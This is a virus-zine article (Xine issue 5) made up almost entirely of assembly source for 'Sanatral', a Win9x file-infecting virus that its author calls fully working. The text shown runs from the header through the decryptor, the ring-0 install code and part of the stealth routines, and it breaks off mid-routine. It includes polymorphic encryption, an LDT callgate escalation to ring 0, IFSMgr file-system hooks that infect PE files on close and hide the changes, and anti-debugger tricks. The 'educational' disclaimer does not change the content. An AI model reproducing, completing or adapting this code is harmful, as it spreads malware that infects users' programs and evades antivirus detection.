

                                             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
                                             ³ Xine - issue #5 - Phile 207 ³
                                             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ





comment		$
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 Vital/IKX proudly presents:
 The
 ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜ ÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜ
 Û ÜÜÜÜÛ Û ÜÜÜ Û Û ßÛÛ Û Û ÜÜÜ Û ÛÜÜ ÜÜÛ Û ÜÜÜ Û Û ÜÜÜ Û Û Û
 ÛÜÜÜÜ Û Û ÜÜÜ Û Û ÛÜß Û Û ÜÜÜ Û   Û Û   Û Ü ÜÜÛ Û ÜÜÜ Û Û ÛÜÜÜÜ
 ÛÜÜÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÛßÛÜÛ ÛÜÛ ÛÜÛ   ÛÜÛ   ÛÜÛÜÜÜÛ ÛÜÛ ÛÜÛ ÛÜÜÜÜÜÛ
                                         virus, v 1.0, for Win9x
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Disclaimer:
This document was written for Xine#5, as an educational paper for
people interrested in the study of Atrificial Life. You should not
compile this virus unless it's your intention to test it in a
controlled environment, and not without knowing that neither I nor
the IKX takes any responsebilities for any loss of data, economical
losses, or any other inconveinces caused by assembly, linking, and
/or execution of the binary file produced. The virus is fully
working, without any bugs that I know of. It is not designed to do
any intentional damage to files or data exept from spreading, but
ofcourse, I will not give any warranties, as this "article",
"document", (or call it what you want) is intended for reading only,
for educational purposes, Gotit? Furthermore, if you did not
understand and accepted EVERYTHING stated above, you should
immidiatly delete this file (if online read: leave this page).
I (the author) does not, in any way, support the illegal spreading
of computer viruses, while I believe it's a human right to explore
the opportunities wich lies in Artificial Life and Intelligence.

Residency and stealth:
Ring-0 (driver mode) by LDT callgate tech, Full stealth on IFSMgr,
the virus hooks OPEN (modify open mode), CLOSE (infect), READ
(stealthn file areas modified by the virus), SEEK (manipulate seek
to point within original file size), WRITE (get FSD for file write),
FIND (show original file size), ENUMHANDLE (return original file
size), and FILETIME (store filetime FSD for filetime stealth), a
total of 8 file operations.

Polymorphism:
Virus is polymorphic by 3 layers (2 layers on main virus, 1 on
CODE sections' 2nd decryptor and address calculations). The first
decryptor mutates it's code and decryption algorithm (ofcourse
according to the encryption algo.), some armouring (SEH mainly)
is put after 1st decryption, on entrance to main decryptors, wich
consists of a simple (variable algorithm) layer covering main
decryptor and encrypted main body (locked by randomly between 16
and 255 loops). Largest constant scanstring is currently 3 bytes.

Misc stuff:
Anti-heuristic infection: EntryPoint RVA points to virus "header"
in CODE section, polymorphic virus body is appended to the end.
Anti-monitoring as all file access is performed using direct FSD
access, Anti-debugging, Anti-SoftIce.. infects DLL/SCR/OCX/CPL/EXE
/ all PE files.

tasm32  /ml /v /m3 Sanatral.asm
tlink32 /Tpe Sanatral.obj,Sanatral.exe

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
		$

DEBUG			equ	1	; if 1, do only infect files marked with MZxx in MZ header
AVOIDDLL		equ	0	; 0 to infect libraries (DLL), 1 to avoid them

CallGateSelector	equ	8

; ehh.. this repeated warning is mostly for myself =) I hate infecting my own stuff uncontrolled :)

IF DEBUG
	ELSE
	%out	WARNING: THE VIRUS IS ASSEMBLED OUTSIDE DEBUG MODE!!
	%out	Executing the produced "Sanatral.exe" will infect your
	%out	system! Be very careful with this file..
ENDIF

; Vxd services

VMM_Hook_V86_Int_Chain          equ     00010041h
VMM_Get_V86_Int_Vector          equ     00010042h
VMM_Set_V86_Int_Vector          equ     00010043h
VMM_Get_PM_Int_Vector           equ     00010044h
VMM_Set_PM_Int_Vector           equ     00010045h
IOS_SendCommand                 equ     00100004h
VMM_Get_DDB                     equ     00010146h
IFSMGR_GetHeap                  equ     0040000Dh
IFSMGR_RetHeap                  equ     0040000Eh
IFSMGR_InstallFileSystemApiHook equ     00400067h
IFSMGR_Ring0_FileIO             equ     00400032h
VMM_Get_Cur_VM_Handle   	equ     00010001h
VMM_PageReserve                 equ     0001011Dh
VMM_PageCommit                  equ     0001011Eh
VMM_Get_System_Time             equ     0001003Fh
VMM_Get_Cur_VM_Handle   	equ     00010001h
SHELL_SYSMODAL_Message  	equ     00170003h



IOR	STRUC
IOR_next		dd	?
IOR_func		dw	?
IOR_status		dw	?
IOR_flags		dd	?
IOR_callback		dd	?
IOR_start_addr_LOW	dd	?
IOR_start_addr_HI	dd	?
IOR_xfer_count		dd	?
IOR_buffer_ptr		dd	?
IOR_private_client	dd	?
IOR_private_IOS		dd	?
IOR_private_port	dd	?
IOR_ioctl_drive		dw	?
IOR_ioctl_function	dw	?
IOR_ioctl_control_param	dd	?
IOR_ioctl_buffer_ptr	dd	?
IOR_ioctl_client_params	dd	?
IOR_ioctl_return	dd	?
IOR_req_req_handle	dd	?
IOR_req_vol_handle	dd	?
IOR_sgd_lin_phys	dd	?
IOR_num_sgds		db	?
IOR_vol_designtr	db	?
IOR_ios_private_1	dw	?
IOR_reserved_2		dq	?
IOR	ENDS


ADVAPI_MEMORY	struc
ddRegOpenKeyA		dd	?
ddRegSetValueExA	dd	?
ddRegCloseKey		dd	?
ddRegCreateKeyA		dd	?
ADVAPI_MEMORY	ends

STEALTH_PE_DATA	struc
sdOffsetOfLastSectionHeader	dd	?
sdOffsetOfCodeSectionHeader	dd	?
sdEntryPointRVA			dd	?
sdImageSize			dd	?
sdCodeSize			dd	?
sdCheckSum			dd	?
sdFileTime			dd	?
STEALTH_PE_DATA	ends

STEALTH_TABLE	struc
OriginalLastSection	db	40 dup (?)
OriginalCodeSection	db	40 dup (?)
PEData			STEALTH_PE_DATA <?>
STEALTH_TABLE	ends

stealth_table_size	equ	size STEALTH_TABLE


PORTABLE_EXECUTABLE_HEADER	struc

	; Image File Header

	PE_Signature				dd	?
	IFH_CPUType				dw	?
	IFH_NumberOfSections			dw	?
	IFH_TimeDateStamp			dd	?
	IFH_PointerToSymbolTable		dd	?
	IFH_NumberOfSymbols			dd	?
	IFH_SizeOfOptionalHeader		dw	?
	IFH_Characteristics			dw	?

	; NT Optional Header

	NTOH_Magic				dw	?	
	NTOH_MajorLinkerVersion			db	?
	NTOH_MinorLinkerVersion			db	?
	NTOH_SizeOfCode				dd	?
	NTOH_SizeOfInitializedData		dd	?
	NTOH_SizeOfUninitializedData		dd	?
	NTOH_EntryPointRVA			dd	?
	NTOH_BaseOfCode				dd	?
	NTOH_BaseOfData				dd	?
	NTOH_ImageBase				dd	?
	NTOH_SectionAlignment			dd	?
	NTOH_FileAlignment			dd	?
	NTOH_MajorOperatingSystemVersion	dw	?
	NTOH_MinorOperatingSystemVersion	dw	?
	NTOH_MajorImageVersion			dw	?
	NTOH_MinorImageVersion			dw	?
	NTOH_MajorSubsystemVersion		dw	?
	NTOH_MinorSubsystemVersion		dw	?
	NTOH_Reserved1				dd	?
	NTOH_SizeOfImage			dd	?
	NTOH_SizeOfHeaders			dd	?
	NTOH_CheckSum				dd	?
	NTOH_Subsystem				dw	?
	NTOH_DllCharacteristics			dw	?
	NTOH_SizeOfStackReserve			dd	?
	NTOH_SizeOfStackCommit			dd	?
	NTOH_SizeOfHeapReserve			dd	?
	NTOH_SizeOfHeapCommit			dd	?
	NTOH_LoaderFlags			dd	?
	NTOH_NumberOfRvaAndSizes		dd	?

PORTABLE_EXECUTABLE_HEADER	ends


IMAGE_FILE_SYSTEM              EQU 1000h ; System File
IMAGE_FILE_DLL                 EQU 2000h ; File is a DLL

L	equ	<large>


REG_SZ			equ	1
REG_DWORD		equ	4
HKEY_CLASSES_ROOT	equ	80000000h
KEY_ALL_ACCESS		equ	0000003Fh
HKEY_LOCAL_MACHINE	equ	80000002h
PROCESS_ALL_ACCESS	equ	001F0FFFh
MB_OK			EQU	00H
MB_OKCANCEL		EQU	01H
MB_ABORTRETRYIGNORE	EQU	02H
MB_YESNOCANCEL		EQU	03H
MB_YESNO		EQU	04H
MB_RETRYCANCEL		EQU	05H
MB_ICONHAND		EQU	10H
MB_ICONEXCLAMATION	EQU	30H
MB_ICONASTERISK		EQU	40H
MB_DEFBUTTON1		EQU	00H
MB_DEFBUTTON2		EQU	100H
MB_DEFBUTTON3		EQU	200H
MB_APPLMODAL		EQU	00H
MB_SYSTEMMODAL		EQU	1000H
MB_NOFOCUS		EQU	8000H
MB_ASAP			EQU	80000000H
MB_NOWINDOW		EQU	40000000H
MB_HANGSYS		EQU	20000000H


VxdCall	macro	service_id
	int	20h
	dd	service_id
endm

VxdJmp	macro	service_id
	int	20h
	dd	service_id+8000h
endm

TRUE	equ	1
FALSE	equ	0

; parameters for SHELL_SYSMODAL_Message

MB_ABORTRETRYIGNORE	equ	00000002h
MB_SYSTEMMODAL          EQU     00001000h


;* Win32 Date Time structure
; This structure defines the new Win32 format structure for returning the
; date and time

FILETIME       struc
  dwLowDateTime dd      ?
  dwHighDateTime dd     ?
FILETIME       ends

;* Win32 File Info By Handle Structure
;  This structure defines the contents of the result buffer on a
;  Win32 FileInfoByHandle. These calls are accessed by the new
;  LFN find apis

BY_HANDLE_FILE_INFORMATION     struc   ; bhfi
  bhfi_dwFileAttributes         dd      ?
  bhfi_ftCreationTime           FILETIME	<?>
  bhfi_ftLastAccessTime         FILETIME	<?>
  bhfi_ftLastWriteTime          FILETIME	<?>
  bhfi_dwVolumeSerialNumber     dd      ?
  bhfi_nFileSizeHigh            dd      ?
  bhfi_nFileSizeLow             dd      ?
  bhfi_nNumberOfLinks           dd      ?
  bhfi_nFileIndexHigh           dd      ?
  bhfi_nFileIndexLow            dd      ?
BY_HANDLE_FILE_INFORMATION     ends

;* Values for ir_flags for HM_FILETIMES:
GET_MODIFY_DATETIME     equ     0       ; get last modification date/time
SET_MODIFY_DATETIME     equ     1       ; set last modification date/time
GET_LAST_ACCESS_DATETIME equ    4       ; get last access date/time
SET_LAST_ACCESS_DATETIME equ    5       ; set last access date/time
GET_CREATION_DATETIME   equ     6       ; get creation date/time
SET_CREATION_DATETIME   equ     7       ; set creation date/time


;* Win32 Find Structure
;  This structure defines the contents of the result buffer on a
; Win32 FindFirst / FindNext. These calls are accessed by the new
; LFN find apis

WIN32_FIND_DATA        struc
  dwFileAttributes      dd      ?
  ftCreationTime        FILETIME	<?>
  ftLastAccessTime      FILETIME	<?>
  ftLastWriteTime       FILETIME	<?>
  nFileSizeHigh         dd      ?
  nFileSizeLow          dd      ?
  dwReserved0           dd      ?
  dwReserved1           dd      ?
  cFileName             dw      260 dup (?)        ; includes NUL
  cAlternateFileName    dw      14 dup (?)              ; includes NUL
WIN32_FIND_DATA        ends


IMAGE_SCN_MEM_EXECUTE		equ	20000000h
IMAGE_SCN_MEM_READ		equ	40000000h
IMAGE_SCN_MEM_WRITE		equ	80000000h
IMAGE_SCN_CNT_INITIALIZED_DATA	equ	00000040h


ACCESS_MODE_MASK        equ     00007h  ; Mask for access mode bits
ACCESS_READONLY         equ     00000h  ; open for read-only access
ACCESS_WRITEONLY        equ     00001h  ; open for write-only access
ACCESS_READWRITE        equ     00002h  ; open for read and write access
ACCESS_EXECUTE          equ     00003h  ; open for execute access

ACTION_MASK             equ     0ffh    ; Open Actions Mask
ACTION_OPENEXISTING     equ     001h    ; open an existing file
ACTION_REPLACEEXISTING  equ     002h    ; open existing file and set length
ACTION_CREATENEW        equ     010h    ; create a new file, fail if exists
ACTION_OPENALWAYS       equ     011h    ; open file, create if does not exist
ACTION_CREATEALWAYS     equ     012h    ; create a new file, even if it exists

ioreq   struc
  ir_length	dd	?       ; length of user buffer
  ir_flags	db	?       ; misc. status flags
  ir_user	db	?       ; user ID for this request
  ir_sfn	dw	?       ; System File Number of file handle
  ir_pid	dd	?       ; process ID of requesting task
  ir_ppath	dd	?       ; unicode pathname
  ir_aux1	dd	?       ; secondary user data buffer
  ir_data	dd	?       ; ptr to user data buffer
  ir_options	dw	?       ; request handling options
  ir_error	dw	?       ; error code (0 if OK)
  ir_rh		dd	?       ; resource handle
  ir_fh		dd	?       ; file (or find) handle
  ir_pos	dd	?       ; file position for request
  ir_aux2	dd	?       ; misc. extra API parameters
  ir_aux3	dd	?       ; misc. extra API parameters
  ir_pev	dd	?       ; ptr to IFSMgr event for async requests
  ir_fsd	db      16 dup (?)  ; Provider work space
ioreq   ends

ioreqsize	equ	size	ioreq

hndlfunc        struc
    hf_read     dd      ?       ; file read handler function
    hf_write    dd      ?       ; file write handler function
    hf_misc     dd      ?       ; ptr to misc. function vector
hndlfunc        ends

fhandle struc
  fh_hf         hndlfunc ?
  fh_fh         dd      ?
  fh_psr        dd      ?
  fh_pSFT       dd      ?
  fh_position   dd      ?
  fh_devflags   dw      ?
  fh_hflag      db      ?
  fh_type       db      ?
  fh_ref_count  dw      ?
  fh_mode       dw      ?
  fh_hlockinfo  dd      ?
  fh_prev       dd      ?
  fh_next       dd      ?
  fh_sfn        dw      ?
  fh_mmsfn      dw      ?
  fh_pid        dd      ?
  fh_ntid       dd      ?
  fh_fhFlags    dw      ?
  fh_InCloseCnt dw      ?
fhandle ends

hndlmisc        struc
  hm_version    dw      ?       ; IFS version #
  hm_revision   db      ?       ; IFS interface revision #
  hm_size       db      ?       ; # of entries in table
  hm_func       dd      ?
hndlmisc        ends

IFSMgr_hook_parameters		struc
FSDFnAddr	dd	?
FunctionNum	dd	?
Drive		dd	?
ResourceFlags	dd	?
CodePage	dd	?
ptrToIOREQ	dd	?
IFSMgr_hook_parameters		ends


IFSFN_READ			equ     0               ; read a file
IFSFN_WRITE			equ     1               ; write a file
IFSFN_FINDNEXT			equ     2               ; LFN handle based Find Next
IFSFN_SEEK			equ     10              ; Seek file handle
IFSFN_CLOSE			equ     11              ; close handle
IFSFN_FILETIMES			equ     14              ; get/set file modification time
IFSFN_HANDLEINFO		equ	16              ; get/set file information
IFSFN_ENUMHANDLE		equ	17              ; enum file handle information
IFSFN_FINDCLOSE			equ     18              ; LFN find close
IFSFN_DELETE			equ     31              ; file delete
IFSFN_FILEATTRIB		equ     33              ; DOS file attribute manipulation
IFSFN_OPEN			equ     36              ; open file
IFSFN_RENAME			equ     37              ; rename path
IFSFN_FINDOPEN			equ     44              ; open  an LFN file search
IFSFN_SEARCH			equ	38

;* Values for ir_flags for HM_HANDLEINFO call:
HINFO_GET               equ     0       ; retrieve current buffering info
HINFO_SETALL            equ     1       ; set info (all parms)
HINFO_SETCHARTIME       equ     2       ; set handle buffer timeout
HINFO_SETCHARCOUNT      equ     3       ; set handle max buffer count

;* Values for ir_flags for HM_ENUMHANDLE call:
ENUMH_GETFILEINFO       equ     0       ; get fileinfo by handle
ENUMH_GETFILENAME       equ     1       ; get filename associated with handle
ENUMH_GETFINDINFO       equ     2       ; get info for resuming
ENUMH_RESUMEFIND        equ     3       ; resume find operation
ENUMH_RESYNCFILEDIR     equ     4       ; resync dir entry info for file

;* Values for ir_flags for HM_SEEK:
FILE_BEGIN      equ     0               ; absolute posn from file beginning
FILE_END        equ     2               ; signed posn from file end

R0_FILEATTRIBUTES		equ	04300h		; Get/Set Attributes of a file
R0_OPENCREATFILE		equ	0D500h		; Open/Create a file
R0_READFILE			equ	0D600h		; Read a file, no context
R0_WRITEFILE			equ	0D601h		; Write to a file, no context
R0_CLOSEFILE			equ	0D700h		; Close a file
R0_GETFILESIZE			equ	0D800h		; Get size of a file
R0_FINDFIRSTFILE		equ     04E00h		; Do a LFN FindFirst operation
R0_FINDNEXTFILE			equ     04F00h		; Do a LFN FindNext operation
R0_FINDCLOSEFILE		equ     0DC00h		; Do a LFN FindClose operation

ObjectHeader	struc
ObjectName		db	8 dup(?); null-padded string identifying section
PhysicalSize		dd	?	; physical size
RVA			dd	?	; RVA to be loaded to
VirtualSize		dd	?	; virtual size (physical size rounded up to object alignement)
PhysicalOffset		dd	?	; offset in file of data
Reserved1		dd	?
Reserved2		dd	?
Reserved3		dd	?
Flags			dd	?	; section flags
ObjectHeader	ends

IMAGE_SCN_MEM_EXECUTE		equ	20000000h
IMAGE_SCN_MEM_READ		equ	40000000h
IMAGE_SCN_MEM_WRITE		equ	80000000h
IMAGE_SCN_CNT_INITIALIZED_DATA	equ	00000040h

pfad    struc
  pfad_edi      dd      ?
  pfad_esi      dd      ?
  pfad_ebp      dd      ?
  pfad_esp      dd      ?
  pfad_ebx      dd      ?
  pfad_edx      dd      ?
  pfad_ecx      dd      ?
  pfad_eax      dd      ?
  pfad_eflags   dd      ?
  pfad_ret      dd      ?
pfad    ends

pfadsize	equ	size	pfad

RECT	STRUC
x		dw	?
y		dw	?
Width		dw	?
Height		dw	?
RECT	ends

SYSTEMTIME	struc
wYear		dw	?
wMonth		dw	?
wDayOfWeek	dw	?
wDay		dw	?
wHour		dw	?
wMinute		dw	?
wSecond		dw	?
wMilliseconds	dw	?
SYSTEMTIME	ends

; some stuff lifted from VMM.INC

Exception_Handler_Struc	STRUC
EH_Reserved	DD	?
EH_Start_EIP	DD	?
EH_End_EIP	DD	?
EH_Handler	DD	?
Exception_Handler_Struc	ENDS

; PR_PRIVATE Or PR_SYSTEM

PR_PRIVATE	EQU	80000400H
PR_SHARED	EQU	80060000H
PR_SYSTEM	EQU	80080000H
PR_FIXED	EQU	00000008H
PR_4MEG		EQU	00000001H
PR_STATIC	EQU	00000010H
PD_ZEROINIT	EQU	00000001H
PD_NOINIT	EQU	00000002H
PD_FIXEDZERO	EQU	00000003H
PD_FIXED	EQU	00000004H
PC_FIXED	EQU	00000008H
PC_LOCKED	EQU	00000080H
PC_LOCKEDIFDP	EQU	00000100H
PC_WRITEABLE	EQU	00020000H
PC_USER		EQU	00040000H
PC_INCR		EQU	40000000H
PC_PRESENT	EQU	80000000H
PC_STATIC	EQU	20000000H
PC_DIRTY	EQU	08000000H
PC_CACHEDIS	EQU	00100000H
PC_CACHEWT	EQU	00080000H
PC_PAGEFLUSH	EQU	00008000H
PCC_ZEROINIT	EQU	00000001H
PCC_NOLIN	EQU	10000000H

;
;
;ÄÄÄ[Sanatral.asm]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; include Sanatral.inc

vsize			equ	(data - vstart)
mem_vsize		equ	(((end_data - vstart)/1000h)+1)*1000h
mem_vsize_in_pages	equ	mem_vsize shr 12
virus_aligned		equ	((vsize/2048)+1)*2048
file_align		equ	3FFh		; infect files aligned to 1Kb


TOPCRYPT		equ	1


;

.586p
.model flat

.code

start:		lea	eax,FakeEntryPoint	; fake a return-EP
		push	eax			; for first generation..
		pushad
		xor	ebp,ebp			; program mode = VX 8)
		jmp	install
FakeEntryPoint:	ret









;********************************************
;********************************************
;* Virus 1st decryptors and loader, located *
;* in host's CODE section		    *
;********************************************
;********************************************



SANATRAL	segment dword use32 public 'SANATRAL'

vstart:encrypted:loader:

	;/* Mutated decryptor, starts with 3 byte constant, wich is this virus'
	;   longest constant scanstring */

		push	eax					; store room for return address to host, our 1st decryptor key...
		pushad						; store registers

	;/* Get delta a nifty way */

		push	01000000h
		org	$ - 4
@stackregz:	pop	esi
		push	esi
		ret
@dummy:		nop
@ifix1:		mov	eax,esp
		call	eax			; returns @addfix address in ESI, 2 bytes
@addfix:	add	esi,(TopCrypt-@addfix)
@xchgfix:	xchg	esi,esi			; for mutation.. (on registers)
@ifix2:		add	esp,4			; 3 bytes, fix stack

	;/* Decryptor */

@ifix3:		mov	ebx,01000000h
TopCryptKey	equ	dword ptr [$ - 4]
		nop				; padding for mutation (push, pop)
@ifix4:		mov	ecx,(TopCryptSize-3)	; 5 bytes
@ifix5:		mov	edi,esi			; push	esi, pop edi
@ifix6:		lodsd
		nop
		nop
		nop
		nop
dec_algo:	xor	eax,ebx
		rol	eax,1
		add	eax,ebx
@ifix7:		sub	esi,3
@ifix8:		stosd
		nop
		loop	@ifix5

	;/*** Encrypted area of virus loader ***/

	; Will get delta host, host return address, and decrypt the main virus' top layer
	; and main decryptor.

TopCrypt:	jmp	set_delta
get_delta:	pop	ebp					; Get delta
		sub	ebp,offset delta



		pushad
		lea	eax,[ebp+SEH_gnaff]
		push	eax
		jmp	Muehehe
;begone suckerz..
SEH_gnaff:	mov	esp,[esp+8]				; gets the ESP when SEH was set
		pop	dword ptr fs:[0]
		add	esp,4
		popad


		lea	eax,[ebp+vstart]
		mov	[esp+32],eax
		mov	eax,01000000h
HostPtr		equ	dword ptr [$ - 4]
		sub	dword ptr [esp+32],eax			; stack above PUSHAD holds return address to host
		mov	eax,01000000h
DiffPtr		equ	dword ptr [$ - 4]			; delta difference between loader and body
		add	ebp,eax

	;/- Decrypt main virus' top layer and main decryptor -/

		lea	esi,[ebp+encrypted]			; ESI pts to start of encrypted code..
		pushad

		mov	ebx,91A03F18h
MainTopLayerKey	equ	dword ptr [$ - 4]

		mov	ecx,(lsize-3)
		add	esi,(lsize-3)-1				; starting at end decrypting forwards
dec5:		mov	edi,esi
		lodsd
simple_dec:	db	6 dup (90h)
		stosd
		sub	esi,3+2		; -3 as we're decryptin' dwords byte by byte, -2 as we're going backwards in code
		loop	dec5


		popad

	;/- Jmp to main decryptor using SEH -/

		pushad						; save regs 8)
		lea	eax,[ebp+poly_decrypt]
		push	eax
Muehehe:	mov	ecx,fs:[20h]			; muehehe DebugContext :))
		push	dword ptr fs:[ecx]		; store old SEH
		mov	fs:[ecx],esp			; set a new
		mov	[ecx],ecx			; Crash program -> Jump
set_delta:	call	get_delta
delta:
TopCryptSize	equ	$ - TopCrypt
patchsize	equ	$ - vstart

szIDString	db	"[Sanatral.",vsize/1000 mod 10 +"0"
		db	vsize/100 mod 10 +"0"
		db	vsize/10 mod 10 +"0"
		db	vsize/1 mod 10 +"0"," by ThermoBit/IkX,y2K]", 0


	;/* Header encryption (for the CODE section loader) 32-bit simple */

TopCryptEnc:	lea	esi,[ebp+loader]
		lea	edi,[ebp+LoaderBuffer]
		push	edi
		mov	ecx,patchsize
		rep	movsb

		pop	esi
		add	esi,(TopCrypt-loader)+((TopCryptSize-3)-1)

		mov	ebx,[ebp+TopCryptKey]
		mov	ecx,(TopCryptSize-3)

TopCryptEncLoop:mov	edi,esi
		lodsd

enc_algo:	sub	eax,ebx
		ror	eax,1
		xor	eax,ebx

		sub	esi,3+2
		stosd
		loop	TopCryptEncLoop
		ret


	;/* 32-bit simple top-layer encryption */

SimpleCrypt:	mov	ecx,(lsize-3)
		mov	ebx,[ebp+MainTopLayerKey]

enc5:		mov	edi,esi
		lodsd
simple_enc:	db	6 dup (90h)
		stosd
		sub	esi,3

		loop	enc5
		ret


;*********************************************************
;*							 *
;* <Win9x> driver memory installation			 *
;*********************************************************

install:	xor	ecx,ecx
		sldt	cx
		jcxz	NT
		and	cl, not (111b)
		jmp	@@@4
NT:		popad
		ret

	;/* Switch application mode to Vxd driver using LDT */

@@@3:		xchg	esi,[esp]
		sgdt	[esp-2]
		pop	edx				; EDX = GDT base address
		add	edx,ecx
		mov	al, [edx+4]
		mov	ah, [edx+7]
		shl	eax,10h
		mov	ax, [edx+2]
		lea	edi,[eax+CallGateSelector]
		cld
		mov     ax,si
		stosw
		mov     eax,0EC000000h + 28h
		stosd
		shld    eax,esi,10h
		stosw
		popad
		db      09Ah				; call Ring0_CS:ESI
		dd      ?
		dw      CallGateSelector+111b
		ret					; return to host
@@@4:		call	@@@3
		pushfd
		pushad


		mov	eax,202h
		VxdCall	VMM_Get_DDB
		test	ecx,ecx				; Check for SoftIce
		jnz	back_ring3			; don't load under softice

		mov	eax,dr1
		cmp	eax,'grrr'
		jz	back_ring3			; assume already resident



		call	get_r0_delta
get_r0_delta:	pop	ebp
		sub	ebp,offset get_r0_delta




		push	mem_vsize			; size of memory block needed
		VxdCall	IFSMGR_GetHeap			; allocate our TSR memory
		pop	ecx				; ECX = nr. of bytes to copy (fix stack)

	;/* Copy virus into windoze memory */

		mov	ecx,vsize
		lea	esi,[ebp+vstart]		; source: start of virus code
		mov	edi,eax				; destination (IFSMgr heap memory)
		rep	movsb				; copy virus to allocated memory

	;/* Install our FileSystem API hook */

		mov	edi,(IFSHook-vstart)		; edi holds difference from base addr. to hook addr.
		xadd	eax,edi				; EAX = pointer to our hook, EDI = pointer to our memory
		push	eax				; address of our hook
		VxdCall	IFSMGR_InstallFileSystemApiHook	; install our API hook, EAX = next hook handler
		pop	edx				; fix stack (damn vxds)
		mov	edx,[eax]			; get address from entry
		xchg	[edi+(NextIFSHook-vstart)],edx	; store next hook address in our hook handler's code

;		mov	eax,13h
;		lea	esi,[ebp+Disk_Access_Hook]
;		VxdCall	VMM_Hook_V86_Int_Chain

	;/* Mark us resident and return */

		mov	eax,'grrr'
		mov	dr1,eax
back_ring3:	popad
		popfd
		retf


;********************************************************
;*							*
;* Win9x file system API hook. calls the apropiate	*
;* handlers for interresting calls			*
;********************************************************


IFSHook:	push	12345678h
NextIFSHook	equ	$ - 4
		pushad

		mov	eax,dr0
		cmp	eax,'BUSY'
		jz	next_no_topchn
		call	hook_delta
hook_delta:	pop	ebp
		sub	ebp,offset hook_delta		; 
		lea	esi,[esp+40]
		mov	edx,[esi.FSDFnAddr]
		mov	edi,[esi.ptrToIOREQ]
                movzx   eax,[edi.ir_error]
                or      eax,eax				; check for errors
                jnz     next_no_topchn
		mov	eax,'BUSY'
		mov	dr0,eax
		mov	eax,[esi.FunctionNum]


	;/* Intercept following functionz */

		cmp	al,IFSFN_OPEN			; modify open mode (r/w)
		jz	FileOpen
		cmp	al,IFSFN_CLOSE			; infect file (while still open)
		jz	FileClose
		cmp	al,IFSFN_READ			; stealthn virus data
		jz	FileRead
		cmp	al,IFSFN_WRITE			; get FSD function for file writing..
		jz	FileWrite
		cmp	al,IFSFN_SEEK			; manipulate seek so end of file will be original end
		jz	SeekFile
		cmp	al,IFSFN_FINDOPEN		; show original filesize
		jz	FindFile
		cmp	al,IFSFN_FINDNEXT		; show original filesize
		jz	FindFile
		cmp	al,IFSFN_ENUMHANDLE		; return original filesize
		jz	EnumHandle
		cmp	al,IFSFN_FILETIMES		; store FileTimes FSD for filetime stealth
		jz	FileTime



next_ifs_hook:	xor	eax,eax
		mov	dr0,eax				; mark virus inactive in debug register
next_no_topchn:	popad					; restore registers
		ret					; jmp to next handler in the IFS chain, we're out!
exit_ifs_hook:	popad					; Return hook without passing control
		pop	eax
		xor	eax,eax
		ret
next_hooker:	pushad					; Calls the next IFSMgr API hooker in chain
		push	[esi.ptrToIOREQ]
		push	[esi.CodePage]
		push	[esi.ResourceFlags]
		push	[esi.Drive]
		push	[esi.FunctionNum]
		push	[esi.FSDFnAddr]
		call	dword ptr [ebp+NextIFSHook]
		add	esp, 6*4
		popad
		ret


;*********************************************************
;*							 *
;* Make sure no attempts to read after original end of	 *
;* file succeeds, stealthn sensetive data...		 *
;*********************************************************


FileRead:	mov	[ebp+fsd_read],edx
		mov	edx,[ebp+fsd_seek]
		test	edx,edx
		jz	next_ifs_hook

		xchg	ebx,esi
		lea	esi,[ebp+seek_ioreq]

		pushad
		xchg	esi,edi				; ESI points to ioreq structure, EDI to our buffer
		mov	ecx,size ioreq
		rep	movsb
		popad

		mov	[esi.ir_flags],FILE_END
		mov	[esi.ir_pos],0
		push	esi
		call	edx				; seek to end of file
		pop	esi
		mov	cx,[esi.ir_error]		; check for errors
		test	cx,cx
		jnz	next_ifs_hook

		mov	eax,[esi.ir_pos]
		cmp	eax,vsize
		jbe	next_ifs_hook

		sub	eax,vsize
		test	eax,file_align			; aligned right?
		jnz	next_ifs_hook
		mov	[ebp+FileSize],eax

		lea	edx,[ebp+FileBuffer]
		call	checkfile
		jc	next_ifs_hook

		mov	ecx,[edi.ir_pos]		; ecx = position reading from
		cmp	ecx,eax				; above original filesize?
		jbe	ptr_ok				; ...
		xor	eax,eax
		mov	[edi.ir_length],eax
		jmp	xx_ifs_ret

ptr_ok:		mov	ecx,[edi.ir_length]
		add	ecx,[edi.ir_pos]
		cmp	ecx,eax
		jbe	size_ok

		sub	eax,[edi.ir_pos]
		mov	[edi.ir_length],eax

	;/* Read is now within the original file, so manipulate data returned */

size_ok:	xchg	ebx,esi

		push	[edi.ir_pos]
		push	[edi.ir_data]
		pop	[ebp+st_data]
		pop	[ebp+st_pos]

		call	next_hooker

		mov	cx,[edi.ir_error]		; check for errors
		test	cx,cx
		jnz	xx_ifs_ret

;********************************************************
;*							*
;* Rebuild the original PE header of the infected file	*
;* into a designated buffer, for stealth purposes..	*
;********************************************************

		pushad

		mov	byte ptr [edx+15],0				; mark header uninfected
		mov	ecx,edx
		movzx	eax,word ptr [edx.IFH_SizeOfOptionalHeader]	; NT header size
		add	eax,24						; Image file header
		add	ecx,eax						; ECX points to first Object header in memory
		movzx	eax,word ptr [edx.IFH_NumberOfSections]
		imul	eax,eax,40
		add	eax,ecx
		mov	ecx,eax
